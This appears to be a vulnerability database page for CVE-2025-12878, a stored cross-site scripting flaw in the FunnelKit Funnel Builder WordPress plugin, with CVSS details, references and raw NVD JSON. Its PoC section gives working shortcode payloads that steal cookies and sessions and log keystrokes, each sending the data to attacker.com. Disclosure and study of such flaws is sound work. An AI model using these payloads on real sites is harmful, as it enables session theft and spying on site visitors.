Security Vulnerability Report
中文
CVE-2025-12878 CVSS 6.4 MEDIUM

CVE-2025-12878

Published: 2025-11-19 06:15:47
Last Modified: 2026-04-15 00:35:42

Description

The FunnelKit – Funnel Builder for WooCommerce Checkout plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `wfop_phone` shortcode in all versions up to, and including, 3.13.1.2. This is due to insufficient input sanitization and output escaping on the user-supplied `default` attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

FunnelKit Funnel Builder for WooCommerce Checkout ≤ 3.13.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Stored XSS PoC for CVE-2025-12878 --> <!-- Inject via wfop_phone shortcode default attribute --> <!-- Basic XSS PoC --> [wfop_phone default='"><script>alert('XSS')</script>'] <!-- Cookie Stealing PoC --> [wfop_phone default='"><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>'] <!-- Keylogger PoC --> [wfop_phone default='"><script>document.onkeypress=function(e){fetch('https://attacker.com/log?k='+e.key)}</script>'] <!-- Session Hijacking PoC --> [wfop_phone default='"><img src=x onerror='fetch("https://attacker.com/hijack?session="+btoa(document.cookie))'>']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12878", "sourceIdentifier": "[email protected]", "published": "2025-11-19T06:15:47.180", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The FunnelKit – Funnel Builder for WooCommerce Checkout plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `wfop_phone` shortcode in all versions up to, and including, 3.13.1.2. This is due to insufficient input sanitization and output escaping on the user-supplied `default` attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/funnel-builder/tags/3.13.1.2/modules/optins/merge-tags/class-bwf-optin-tags.php#L101", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/funnel-builder/tags/3.13.1.2/modules/optins/merge-tags/class-bwf-optin-tags.php#L116", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/funnel-builder/tags/3.13.1.2/modules/optins/merge-tags/class-bwf-optin-tags.php#L30", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/funnel-builder/tags/3.13.1.2/modules/optins/merge-tags/class-bwf-optin-tags.php#L96", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3397106/funnel-builder/tags/3.13.1.3/merge-tags/class-bwf-contact-tags.php", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/funnel-builder", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6f54053e-30ff-449b-b696-92d503011a4d?source=cve", "source": "[email protected]"}]}}